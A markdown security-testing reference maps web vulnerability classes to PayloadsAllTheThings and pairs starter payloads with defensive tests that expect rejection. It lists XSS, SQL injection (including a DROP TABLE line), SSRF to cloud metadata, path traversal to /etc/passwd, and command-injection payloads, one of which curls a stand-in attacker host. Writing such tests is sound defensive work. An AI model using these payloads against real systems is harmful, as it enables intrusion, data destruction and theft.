Skip to content

Latest commit

 

History

History
458 lines (365 loc) · 13.1 KB

File metadata and controls

458 lines (365 loc) · 13.1 KB

Security Reference: Vulnerability Categories & Payloads

This reference maps each vulnerability category to its PayloadsAllTheThings documentation and provides starter payloads for security testing. For comprehensive payloads, always check the linked PAT section.

XSS (Cross-Site Scripting)

PAT Reference: XSS Injection

Attack surface: Any place user input is rendered in HTML/DOM.

Starter payloads:

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
"><img src=x onerror=alert(1)>
javascript:alert(1)
'-alert(1)-'
{{constructor.constructor('alert(1)')()}}
<details open ontoggle=alert(1)>

Test approach:

const XSS_PAYLOADS = [
  '<script>alert(1)</script>',
  '<img src=x onerror=alert(1)>',
  '"><svg/onload=alert(1)>',
  "javascript:alert(document.cookie)",
  "'-alert(1)-'",
];

for (const payload of XSS_PAYLOADS) {
  test(`XSS: input "${payload.slice(0, 30)}..." is sanitized`, async () => {
    const output = await renderUserContent(payload);
    expect(output).not.toMatch(/<script|onerror|onload|javascript:/i);
  });
}

SQL Injection

PAT Reference: SQL Injection

Attack surface: Any database query built with user input.

Starter payloads:

' OR '1'='1
' OR '1'='1' --
'; DROP TABLE users; --
' UNION SELECT null,null,null --
1' ORDER BY 1--
' AND 1=CONVERT(int,@@version)--

Test approach:

const SQLI_PAYLOADS = [
  "' OR '1'='1",
  "'; DROP TABLE users; --",
  "' UNION SELECT null,null,null --",
  "1' ORDER BY 1--",
];

for (const payload of SQLI_PAYLOADS) {
  test(`SQLi: "${payload.slice(0, 25)}..." does not alter query logic`, async () => {
    // Should not return all records or error with SQL syntax
    const result = await searchEndpoint({ query: payload });
    expect(result.status).not.toBe(500);
    expect(result.data?.length).toBeLessThanOrEqual(EXPECTED_MAX);
  });
}

NoSQL Injection

PAT Reference: NoSQL Injection

Attack surface: MongoDB/Mongoose queries, JSON-based query APIs.

Starter payloads:

{"$gt": ""}
{"$ne": null}
{"$regex": ".*"}
{"$where": "sleep(5000)"}
{"username": {"$ne": ""}, "password": {"$ne": ""}}

Test approach:

test('NoSQL: operator injection in login is rejected', async () => {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify({
      email: { "$ne": "" },
      password: { "$ne": "" }
    }),
  });
  expect(res.status).toBe(400); // Should reject, not authenticate
});

CSRF (Cross-Site Request Forgery)

PAT Reference: CSRF Injection

Attack surface: State-changing endpoints (POST/PUT/DELETE) without CSRF tokens.

Test approach:

test('CSRF: state-changing requests require CSRF token', async () => {
  const res = await fetch('/api/user/settings', {
    method: 'POST',
    headers: { 'Origin': 'https://evil-site.com' },
    body: JSON.stringify({ theme: 'dark' }),
  });
  expect(res.status).toBe(403);
});

test('CSRF: SameSite cookie attribute is set', async () => {
  const res = await fetch('/api/auth/login', {
    method: 'POST',
    body: JSON.stringify({ email: 'test@test.com', password: 'pass' }),
  });
  const cookies = res.headers.get('set-cookie');
  expect(cookies).toMatch(/SameSite=(Strict|Lax)/i);
});

SSRF (Server-Side Request Forgery)

PAT Reference: SSRF Injection

Attack surface: URL fetchers, image proxies, webhook handlers, PDF generators.

Starter payloads:

http://127.0.0.1
http://localhost
http://0.0.0.0
http://169.254.169.254/latest/meta-data/  (AWS metadata)
http://[::1]
http://0177.0.0.1  (octal)
http://2130706433  (decimal)
http://0x7f.0x0.0x0.0x1  (hex)

Test approach:

const SSRF_PAYLOADS = [
  'http://127.0.0.1',
  'http://localhost',
  'http://169.254.169.254/latest/meta-data/',
  'http://[::1]',
  'http://0x7f000001',
];

for (const payload of SSRF_PAYLOADS) {
  test(`SSRF: internal URL "${payload}" is blocked`, async () => {
    const res = await fetch('/api/fetch-url', {
      method: 'POST',
      body: JSON.stringify({ url: payload }),
    });
    expect(res.status).toBe(400);
    expect(await res.json()).toMatchObject({
      error: expect.stringContaining('not allowed'),
    });
  });
}

Path Traversal / LFI

PAT Reference: File Inclusion

Attack surface: Dynamic file serving, template includes, file downloads.

Starter payloads:

../../../etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
....//....//....//etc/passwd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd%00.jpg

Test approach:

const TRAVERSAL_PAYLOADS = [
  '../../../etc/passwd',
  '..%2F..%2F..%2Fetc%2Fpasswd',
  '....//....//etc/passwd',
  '/etc/passwd%00.jpg',
];

for (const payload of TRAVERSAL_PAYLOADS) {
  test(`Path Traversal: "${payload.slice(0, 25)}..." is blocked`, async () => {
    const res = await fetch(`/api/files/${encodeURIComponent(payload)}`);
    expect(res.status).toBe(400);
    const body = await res.text();
    expect(body).not.toContain('root:');
  });
}

JWT Attacks

PAT Reference: JSON Web Token

Attack surface: JWT-based authentication and authorization.

Test approach:

test('JWT: token with "none" algorithm is rejected', async () => {
  // Craft a JWT with alg: none
  const header = btoa(JSON.stringify({ alg: 'none', typ: 'JWT' }));
  const payload = btoa(JSON.stringify({ sub: 'admin', role: 'admin' }));
  const token = `${header}.${payload}.`;

  const res = await fetch('/api/protected', {
    headers: { Authorization: `Bearer ${token}` },
  });
  expect(res.status).toBe(401);
});

test('JWT: expired token is rejected', async () => {
  const expiredToken = createJWT({ exp: Math.floor(Date.now() / 1000) - 3600 });
  const res = await fetch('/api/protected', {
    headers: { Authorization: `Bearer ${expiredToken}` },
  });
  expect(res.status).toBe(401);
});

test('JWT: token signed with wrong key is rejected', async () => {
  const wrongKeyToken = jwt.sign({ sub: 'user1' }, 'wrong-secret');
  const res = await fetch('/api/protected', {
    headers: { Authorization: `Bearer ${wrongKeyToken}` },
  });
  expect(res.status).toBe(401);
});

IDOR (Insecure Direct Object Reference)

PAT Reference: IDOR - Insecure Direct Object Reference

Attack surface: Endpoints with user/resource IDs in URLs or request bodies.

Test approach:

test('IDOR: user cannot read another user profile', async () => {
  const res = await authenticatedFetch('user-1', '/api/users/user-2/profile');
  expect(res.status).toBe(403);
});

test('IDOR: user cannot modify another user settings', async () => {
  const res = await authenticatedFetch('user-1', '/api/users/user-2/settings', {
    method: 'PUT',
    body: JSON.stringify({ email: 'hacked@evil.com' }),
  });
  expect(res.status).toBe(403);
});

test('IDOR: user cannot delete another user resource', async () => {
  const res = await authenticatedFetch('user-1', '/api/posts/post-owned-by-user-2', {
    method: 'DELETE',
  });
  expect(res.status).toBe(403);
});

File Upload

PAT Reference: Upload Insecure Files

Attack surface: Any file upload endpoint.

Test approach:

test('Upload: rejects executable file types', async () => {
  const files = ['test.php', 'test.jsp', 'test.exe', 'test.sh'];
  for (const filename of files) {
    const formData = new FormData();
    formData.append('file', new Blob(['malicious']), filename);
    const res = await fetch('/api/upload', { method: 'POST', body: formData });
    expect(res.status).toBe(400);
  }
});

test('Upload: rejects double extensions', async () => {
  const formData = new FormData();
  formData.append('file', new Blob(['malicious']), 'image.jpg.php');
  const res = await fetch('/api/upload', { method: 'POST', body: formData });
  expect(res.status).toBe(400);
});

test('Upload: validates MIME type matches extension', async () => {
  const formData = new FormData();
  formData.append('file', new Blob(['<?php echo "pwned"; ?>'], { type: 'image/jpeg' }), 'image.jpg');
  const res = await fetch('/api/upload', { method: 'POST', body: formData });
  // Should validate actual content, not just Content-Type header
  expect(res.status).toBe(400);
});

Security Headers

No PAT section — this is a configuration check.

Test approach:

describe('Security Headers', () => {
  let headers: Headers;

  beforeAll(async () => {
    const res = await fetch('https://your-app.com');
    headers = res.headers;
  });

  test('X-Frame-Options is set', () => {
    expect(headers.get('x-frame-options')).toMatch(/DENY|SAMEORIGIN/i);
  });

  test('X-Content-Type-Options is nosniff', () => {
    expect(headers.get('x-content-type-options')).toBe('nosniff');
  });

  test('Strict-Transport-Security is set', () => {
    const hsts = headers.get('strict-transport-security');
    expect(hsts).toMatch(/max-age=\d+/);
  });

  test('Content-Security-Policy is set', () => {
    expect(headers.get('content-security-policy')).toBeTruthy();
  });

  test('X-XSS-Protection is set', () => {
    expect(headers.get('x-xss-protection')).toBe('1; mode=block');
  });
});

CORS Misconfiguration

PAT Reference: CORS Misconfiguration

Test approach:

test('CORS: rejects unauthorized origins', async () => {
  const res = await fetch('/api/data', {
    headers: { Origin: 'https://evil-site.com' },
  });
  const allowOrigin = res.headers.get('access-control-allow-origin');
  expect(allowOrigin).not.toBe('https://evil-site.com');
  expect(allowOrigin).not.toBe('*');
});

test('CORS: does not reflect arbitrary origin', async () => {
  const res = await fetch('/api/data', {
    headers: { Origin: 'https://attacker.com' },
  });
  expect(res.headers.get('access-control-allow-origin')).not.toBe('https://attacker.com');
});

Command Injection

PAT Reference: Command Injection

Starter payloads:

; ls -la
| cat /etc/passwd
$(whoami)
`id`
; sleep 10
&& curl http://attacker.com

SSTI (Server-Side Template Injection)

PAT Reference: Server Side Template Injection

Starter payloads:

{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
{{constructor.constructor('return this')()}}

Rate Limiting

No PAT section — defensive measure testing.

Test approach:

test('Rate limit: login endpoint throttles after 5 attempts', async () => {
  const results = [];
  for (let i = 0; i < 10; i++) {
    const res = await fetch('/api/auth/login', {
      method: 'POST',
      body: JSON.stringify({ email: 'test@test.com', password: 'wrong' }),
    });
    results.push(res.status);
  }
  // At least some requests should be rate-limited (429)
  expect(results.filter(s => s === 429).length).toBeGreaterThan(0);
});

Additional PAT Categories

For comprehensive coverage, also review these PayloadsAllTheThings sections when applicable:

Category PAT Link When Relevant
GraphQL Injection GraphQL GraphQL APIs
XXE XXE Injection XML parsing
Deserialization Insecure Deserialization Deserializing user data
OAuth OAuth Misconfiguration OAuth/social login
Race Conditions Race Condition Concurrent operations
HTTP Request Smuggling Request Smuggling Reverse proxy setups
Web Cache Poisoning Web Cache Deception CDN/caching layers
Open Redirect Open Redirect Redirect parameters
CRLF Injection CRLF Injection Header injection
Web LLM Attacks Prompt Injection AI/LLM integration